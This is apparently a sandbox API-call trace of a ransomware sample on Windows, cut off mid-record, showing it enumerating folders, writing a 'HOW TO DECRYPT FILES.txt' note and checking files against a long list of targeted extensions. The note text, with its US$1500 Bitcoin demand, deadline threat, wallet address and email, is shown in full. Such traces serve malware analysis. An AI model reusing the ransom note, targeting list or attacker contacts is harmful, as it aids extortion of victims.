lstrcmpA (lpString1=".", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0100.613] lstrcmpA (lpString1="..", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0100.613] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\*.*") returned="*.*" [0100.613] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\", lpString2="6.1.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35" [0100.613] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35") returned 74 [0100.613] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.613] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.613] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.613] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.613] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.613] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napinit.Resources.dll", cAlternateFileName="")) returned 1 [0100.613] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.613] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napinit.Resources.dll") returned -1 [0100.613] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napinit.Resources.dll") returned -1 [0100.613] lstrcmpiA (lpString1="", lpString2="napinit.Resources.dll") returned -1 [0100.613] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.613] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\" [0100.614] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="" [0100.614] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.614] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.614] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.615] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.615] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.616] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.616] CloseHandle (hObject=0x90) returned 1 [0100.616] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="napinit.Resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll" [0100.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.ems") returned 0 [0100.616] lstrlenA (lpString="*.ems") returned 5 [0100.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.db") returned 0 [0100.616] lstrlenA (lpString="*.db") returned 4 [0100.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.dbf") returned 0 [0100.616] lstrlenA (lpString="*.dbf") returned 5 [0100.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.myox") returned 0 [0100.616] lstrlenA (lpString="*.myox") returned 6 [0100.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.myo") returned 0 [0100.616] lstrlenA (lpString="*.myo") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qbw") returned 0 [0100.617] lstrlenA (lpString="*.qbw") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qbb") returned 0 [0100.617] lstrlenA (lpString="*.qbb") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qbm") returned 0 [0100.617] lstrlenA (lpString="*.qbm") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qbo") returned 0 [0100.617] lstrlenA (lpString="*.qbo") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qbx") returned 0 [0100.617] lstrlenA (lpString="*.qbx") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qba") returned 0 [0100.617] lstrlenA (lpString="*.qba") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qby") returned 0 [0100.617] lstrlenA (lpString="*.qby") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qbj") returned 0 [0100.617] lstrlenA (lpString="*.qbj") returned 5 [0100.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.ofx") returned 0 [0100.618] lstrlenA (lpString="*.ofx") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.qif") returned 0 [0100.618] lstrlenA (lpString="*.qif") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mye") returned 0 [0100.618] lstrlenA (lpString="*.mye") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mbox") returned 0 [0100.618] lstrlenA (lpString="*.mbox") returned 6 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.eml") returned 0 [0100.618] lstrlenA (lpString="*.eml") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.pst") returned 0 [0100.618] lstrlenA (lpString="*.pst") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.ost") returned 0 [0100.618] lstrlenA (lpString="*.ost") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.idx") returned 0 [0100.618] lstrlenA (lpString="*.idx") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.dbx") returned 0 [0100.618] lstrlenA (lpString="*.dbx") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.sql") returned 0 [0100.618] lstrlenA (lpString="*.sql") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mdb") returned 0 [0100.618] lstrlenA (lpString="*.mdb") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.fdb") returned 0 [0100.618] lstrlenA (lpString="*.fdb") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.wab") returned 0 [0100.618] lstrlenA (lpString="*.wab") returned 5 [0100.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.dat") returned 0 [0100.618] lstrlenA (lpString="*.dat") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.txt") returned 0 [0100.619] lstrlenA (lpString="*.txt") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.jpeg") returned 0 [0100.619] lstrlenA (lpString="*.jpeg") returned 6 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.jpg") returned 0 [0100.619] lstrlenA (lpString="*.jpg") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.png") returned 0 [0100.619] lstrlenA (lpString="*.png") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.php") returned 0 [0100.619] lstrlenA (lpString="*.php") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.cs") returned 0 [0100.619] lstrlenA (lpString="*.cs") returned 4 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.cpp") returned 0 [0100.619] lstrlenA (lpString="*.cpp") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.rar") returned 0 [0100.619] lstrlenA (lpString="*.rar") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.zip") returned 0 [0100.619] lstrlenA (lpString="*.zip") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.html") returned 0 [0100.619] lstrlenA (lpString="*.html") returned 6 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.htm") returned 0 [0100.619] lstrlenA (lpString="*.htm") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.xlsx") returned 0 [0100.619] lstrlenA (lpString="*.xlsx") returned 6 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.xls") returned 0 [0100.619] lstrlenA (lpString="*.xls") returned 5 [0100.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mp4") returned 0 [0100.619] lstrlenA (lpString="*.mp4") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.ppt") returned 0 [0100.620] lstrlenA (lpString="*.ppt") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.pptx") returned 0 [0100.620] lstrlenA (lpString="*.pptx") returned 6 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.doc") returned 0 [0100.620] lstrlenA (lpString="*.doc") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.dot") returned 0 [0100.620] lstrlenA (lpString="*.dot") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.docx") returned 0 [0100.620] lstrlenA (lpString="*.docx") returned 6 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.7z") returned 0 [0100.620] lstrlenA (lpString="*.7z") returned 4 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.tar") returned 0 [0100.620] lstrlenA (lpString="*.tar") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.bz2") returned 0 [0100.620] lstrlenA (lpString="*.bz2") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.gz") returned 0 [0100.620] lstrlenA (lpString="*.gz") returned 4 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mkv") returned 0 [0100.620] lstrlenA (lpString="*.mkv") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.eml") returned 0 [0100.620] lstrlenA (lpString="*.eml") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.msg") returned 0 [0100.620] lstrlenA (lpString="*.msg") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.edb") returned 0 [0100.620] lstrlenA (lpString="*.edb") returned 5 [0100.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.accdb") returned 0 [0100.621] lstrlenA (lpString="*.accdb") returned 7 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.odb") returned 0 [0100.621] lstrlenA (lpString="*.odb") returned 5 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.java") returned 0 [0100.621] lstrlenA (lpString="*.java") returned 6 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.asm") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.pfx") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.pem") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.p12") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.gpg") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.vsd") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.odg") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.raw") returned 0 [0100.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.nef") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.svg") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.psd") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.vmx") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.vmdk") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.vdi") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.lay6") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mpeg") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.djvu") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.tiff") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.backup") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.pdf") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.cert") returned 0 [0100.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.docm") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.xlsm") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.dwg") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.nd") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.tlg") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.lgb") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mov") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.xdw") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.ods") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.wav") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.mp3") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.aiff") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.flac") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.m4a") returned 0 [0100.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\napinit.Resources.dll", pszSpec="*.csv") returned 0 [0100.623] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, 